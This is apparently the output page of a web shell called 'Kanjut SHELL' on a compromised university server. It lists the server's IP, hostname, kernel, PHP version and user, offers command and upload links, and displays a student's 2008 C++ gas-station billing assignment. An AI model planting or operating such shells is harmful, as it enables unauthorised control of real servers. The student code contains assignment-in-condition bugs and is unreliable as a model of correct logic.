Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.12.61
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/lmking1/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/lmking1/ProgAssn2.cpp
// ---------------------------------------------------------------------------------------------------------------------------------
// CS 112 Fall 2008 
// Programming Assignment #2
//
// Written by L'Tia King
// 26 Sept. 2008
//
// Problem Specifications:   Calculates the cost of gasoline, the price of a wash, the total cost (for gasoline and the wash), and the 
//                           numberof dicount points earned. 
//	
//-----------------------------------------------------------------------------------------------------------------------------------

// ---------------Preprocessor Section---------------

#include <iostream>
#include <iomanip>
using namespace std;

// --------------Main Function----------------------

int main ()
{

// ----- Variables


   float
      gasprice,                   // price of gasoline per gallon
      numdis,                     // number of discount points earned
      numgal,                     // number of gallons purchased
      carwash,                    // price of car wash
      totalcost,                  // total cost (for gas and wash)
      totalgas;                   // total cost (for gas)

   char
      gasgrade;                   // grade of gas purchased

// ----- Input Phase

cout << "Enter number of gallons purchased:  ";
cin >> numgal;

cout << "Enter grade of gasoline purchased:  ";
cin >> gasgrade;

// ----- Processing Phase

if(gasgrade == 'r' || gasgrade == 'R')
   totalgas = numgal * 3.399;
else if(gasgrade == 'p' || gasgrade == 'P')
        totalgas = numgal * 3.539;
     else if(gasgrade == 's' || gasgrade == 'S')
             totalgas = numgal * 3.679;

if(numgal > 5 && numgal < 15)
  carwash = 6- (6 * .1);
else if(numgal >= 15)
       carwash = 0;
     else if (carwash = 0)
             cout << "Carwash = FREE" ;
   
totalcost = totalgas + carwash;

if(gasgrade == 'r' || gasgrade == 'R')
  numdis = numgal * 3;
else if(gasgrade == 'p' || gasgrade == 'P')
       numdis = numgal * 4;
     else if(gasgrade = 's' || gasgrade =='S')
            numdis = numgal * 5;

// ------ Output Phase

cout << fixed << setprecision(2);       // force fixed point format for floats
     
cout << "\n\n ~~~~~~~~~~~~The VWC Service Station and Car Wash Receipt~~~~~~~~~~~~~~~~~~~~~~ ";
cout << "\n          Grade of Gasoline:                         " << gasgrade;
cout << "\n          Number of Gallons Purchased:               " << numgal;  
cout << "\n          Cost of Gasoline:                      $   " << setw(10) << totalgas;
cout << "\n          Price of Car Wash:                     $   " << setw(10) << carwash;
cout << "\n          Total Cost:                            $   " << setw(10) << totalcost;
cout << "\n          Number of Discount Points Earned:          " << numdis;
cout << "\n\n ";
 
return 0;

}


Stv3n404 - 2023